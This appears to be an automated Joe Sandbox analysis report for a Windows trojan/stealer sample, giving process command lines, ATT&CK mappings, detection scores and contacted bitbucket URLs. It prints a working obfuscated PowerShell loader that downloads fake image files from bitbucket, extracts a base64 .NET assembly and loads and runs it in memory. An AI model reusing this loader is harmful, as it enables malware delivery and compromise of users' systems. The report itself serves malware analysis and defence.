Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell "$codigo = 'wwbo#gu#d##u#fm#zqby#hy#aqbj#gu#u#bv#gk#bgb0#e0#yqbu#ge#zwbl#hi#xq#6#do#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b##g#d0#i#bb#e4#zqb0#c4#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b#bu#hk#c#bl#f0#og#6#fq#b#bz#de#mg#n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgb1#g4#ywb0#gk#bwbu#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i#b7#c##c#bh#hi#yqbt#c##k#bb#hm#d#by#gk#bgbn#fs#xqbd#cq#b#bp#g4#awbz#ck#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#b3#gu#ygbd#gw#aqbl#g4#d##g#d0#i#bo#gu#dw#t#e8#ygbq#gu#ywb0#c##uwb5#hm#d#bl#g0#lgbo#gu#d##u#fc#zqbi#em#b#bp#gu#bgb0#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#c##pq#g#ec#zqb0#c0#ugbh#g4#z#bv#g0#i##t#ek#bgbw#hu#d#bp#gi#agbl#gm#d##g#cq#b#bp#g4#awbz#c##lqbd#g8#dqbu#hq#i##k#gw#aqbu#gs#cw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgbv#hi#zqbh#gm#a##g#cg#j#bs#gk#bgbr#c##aqbu#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#ck#i#b7#c##d#by#hk#i#b7#c##cgbl#hq#dqby#g4#i##k#hc#zqbi#em#b#bp#gu#bgb0#c4#r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#k##k#gw#aqbu#gs#kq#g#h0#i#bj#ge#d#bj#gg#i#b7#c##ywbv#g4#d#bp#g4#dqbl#c##fq#g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i#by#gu#d#b1#hi#bg#g#cq#bgb1#gw#b##g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gw#aqbu#gs#cw#g#d0#i#b##cg#jwbo#hq#d#bw#hm#og#v#c8#ygbp#hq#ygb1#gm#awbl#hq#lgbv#hi#zw#v#gg#zwbk#gy#a#bk#gy#zwbk#c8#d#bl#hm#d##v#gq#bwb3#g4#b#bv#ge#z#bz#c8#bgbl#hc#xwbp#g0#yqbn#gu#mg#u#go#c#bn#d8#mq#0#dq#ng#x#dc#mg#x#cc#l##g#cc#a#b0#hq#c#bz#do#lw#v#gi#aqb0#gi#dqbj#gs#zqb0#c4#bwby#gc#lwbo#gc#z#bm#gg#z#bm#gc#z##v#hq#zqbz#hq#lwbk#g8#dwbu#gw#bwbh#gq#cw#v#g4#zqb3#f8#aqbt#ge#zwbl#c4#agbw#gc#pw#x#dq#n##0#de#nw#y#dm#jw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##j#bp#g0#yqbn#gu#qgb5#hq#zqbz#c##pq#g#eq#bwb3#g4#b#bv#ge#z#be#ge#d#bh#ey#cgbv#g0#t#bp#g4#awbz#c##j#bs#gk#bgbr#hm#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i#bp#gy#i##o#cq#aqbt#ge#zwbl#ei#eqb0#gu#cw#g#c0#bgbl#c##j#bu#hu#b#bs#ck#i#b7#c##j#bp#g0#yqbn#gu#v#bl#hg#d##g#d0#i#bb#fm#eqbz#hq#zqbt#c4#v#bl#hg#d##u#eu#bgbj#g8#z#bp#g4#zwbd#do#ogbv#fq#rg#4#c4#rwbl#hq#uwb0#hi#aqbu#gc#k##k#gk#bqbh#gc#zqbc#hk#d#bl#hm#kq#7##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##g#cq#cwb0#ge#cgb0#ey#b#bh#gc#i##9#c##jw#8#dw#qgbb#fm#rq#2#dq#xwbt#fq#qqbs#fq#pg#+#cc#ow#g#cq#zqbu#gq#rgbs#ge#zw#g#d0#i##n#dw#p#bc#ee#uwbf#dy#n#bf#eu#tgbe#d4#pg#n#ds#i##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##9#c##j#bp#g0#yqbn#gu#v#bl#hg#d##u#ek#bgbk#gu#e#bp#gy#k##k#hm#d#bh#hi#d#bg#gw#yqbn#ck#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gu#bgbk#ek#bgbk#gu#e##g#d0#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c4#sqbu#gq#zqb4#e8#zg#o#cq#zqbu#gq#rgbs#ge#zw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##aqbm#c##k##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##t#gc#zq#g#d##i##t#ge#bgbk#c##j#bl#g4#z#bj#g4#z#bl#hg#i##t#gc#d##g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##p#c##ew#g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#cs#pq#g#cq#cwb0#ge#cgb0#ey#b#bh#gc#lgbm#gu#bgbn#hq#a##7#c##dq#k#c##i##g#c##i##g#c##i##g#c##i##g#cq#ygbh#hm#zq#2#dq#t#bl#g4#zwb0#gg#i##9#c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -noprofile -command "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721', 'https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('testpowershell.home'); $method = $type.getmethod('la').invoke($null, [object[]] ('txt.orfamco/sdaolnwod/rgfd/wgds/gro.tekcubtib//:sptth', '0', 'startupname', 'regasm', '0'))}}"	Jump to behavior

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C21130 LoadLibraryA,GetProcAddress,AllocateAndInitializeSid,FreeSid,FreeLibrary,

0_2_00007FF681C21130

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C28BF4 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,GetTickCount,QueryPerformanceCounter,

0_2_00007FF681C28BF4

Source: C:\Users\user\Desktop\0XVZC3kfwL.exe

Code function: 0_2_00007FF681C22D70 GetVersion,GetModuleHandleW,GetProcAddress,ExitWindowsEx,CloseHandle,

0_2_00007FF681C22D70

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	2 Native API	1 Scripting	1 DLL Side-Loading	1 Obfuscated Files or Information	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	1 Access Token Manipulation	1 Install Root Certificate	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	Data from Removable Media	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	1 Registry Run Keys / Startup Folder	11 Process Injection	1 Software Packing	Security Account Manager	15 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	1 Timestomp	NTDS	1 Security Software Discovery	Distributed Component Object Model	Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Modify Registry	Cached Domain Credentials	21 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Virtualization/Sandbox Evasion	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	11 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Rundll32	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
0XVZC3kfwL.exe	42%	ReversingLabs	Win64.Trojan.Leonem
0XVZC3kfwL.exe	100%	Avira	TR/Spy.Stealer.sgcso

Source	Detection	Scanner	Label
http://crl.microsoft	0%	URL Reputation	safe
https://contoso.com/License	0%	URL Reputation	safe
https://aka.ms/pscore6	0%	URL Reputation	safe
https://contoso.com/	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
https://oneget.orgX	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://nuget.org/NuGet.exe	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://go.micro	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://aka.ms/pscore68	0%	URL Reputation	safe
https://oneget.org	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bitbucket.org	185.166.143.49	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://bitbucket.org/hgdfhdfgd/test/downloads/new_image.jpg?14441723	true		unknown
https://bitbucket.org/hgdfhdfgd/test/downloads/new_image2.jpg?14461721	true		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://go.microsoft.co	powershell.exe, 00000005.00000002.1545100978.000001EEDDEC8000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://crl.microsoft	powershell.exe, 00000004.00000002.1553033093.0000023208545000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://admin.atlassian.com	powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/License	powershell.exe, 00000005.00000002.1541729825.000001EED5C83000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/	powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6	powershell.exe, 00000004.00000002.1558255319.000002320A2A2000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org/blog/announcing-our-new-ci-cd-runtime-with-up-to-8x-faster-builds	powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.bitbucket.org	powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/	powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://preferences.atlassian.com	powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/dist/webpack	powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.atlassian.com/try/cloud/signup?bundle=bitbucket	powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://remote-app-switcher.prod-east.frontend.public.atl-paas.net	powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bitbucket.status.atlassian.com/	powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/	powershell.exe, 00000005.00000002.1541729825.000001EED5C83000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000005.00000002.1541729825.000001EED5DC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7698000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1541729825.000001EED5C83000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ap	powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ve	powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://oneget.orgX	powershell.exe, 00000005.00000002.1521634262.000001EEC73BF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://id.atlassian.com/profile/rest/profile"	powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aui-cdn.atlassian.com/	powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bitbucket.org/gateway/api/emoji/	powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bqlf8qjztdtr.statuspage.io	powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000004.00000002.1558255319.000002320A2EF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC5C11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org	powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC72E0000.00000004.00000800.00020000.00000000.sdmp	true		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/css/entry/ad	powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/img/logos/bi	powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000005.00000002.1541729825.000001EED5DC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7698000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1541729825.000001EED5C83000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 00000005.00000002.1521634262.000001EEC73BF000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://id.atlassian.com/login	powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000005.00000002.1521634262.000001EEC5E43000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bitbucket.org/blog/wp-json/wp/v2/posts?categories=196&context=embed&per_page=6&orderby=date&	powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000005.00000002.1521634262.000001EEC5E43000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://go.micro	powershell.exe, 00000005.00000002.1521634262.000001EEC6843000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://id.atlassian.com/logout	powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://bitbucket.org	powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://web-security-reports.services.atlassian.com/csp-report/bb-website	powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/jsi18n/en/dj	powershell.exe, 00000005.00000002.1521634262.000001EEC7306000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000005.00000002.1541729825.000001EED5C83000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://dz8aopenkvv6s.cloudfront.net	powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000005.00000002.1521634262.000001EEC5E43000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://id.atlassian.com/manage-profile/	powershell.exe, 00000005.00000002.1521634262.000001EEC7302000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://id.atlassian.com/login?prompt=login&continue=https%3A%2F%2Fbitbucket.org%2Fhgdfhdfgd%2Ft	powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/	powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://cdn.cookielaw.org/	powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.prod.public.atl-paas.net/3ff600212c86/img/default_	powershell.exe, 00000005.00000002.1521634262.000001EEC7380000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bbc-object-storage--frontbucket.us-east-1.staging.public.atl-paas.net/;	powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://remote-app-switcher.stg-east.frontend.public.atl-paas.net	powershell.exe, 00000005.00000002.1521634262.000001EEC72E5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC730A000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 00000004.00000002.1558255319.000002320A2BE000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000005.00000002.1521634262.000001EEC5C11000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://oneget.org	powershell.exe, 00000005.00000002.1521634262.000001EEC73BF000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.166.143.49	bitbucket.org	Germany		16509	AMAZON-02US	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1524411
Start date and time:	2024-10-02 19:03:47 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	0XVZC3kfwL.exe renamed because original name is a hash value
Original Sample Name:	278a762f5ed598ccee88a977853a7e6011759220b1095461f1c3e756a1ec725c.exe
Detection:	MAL
Classification:	mal100.spre.evad.winEXE@9/6@1/1
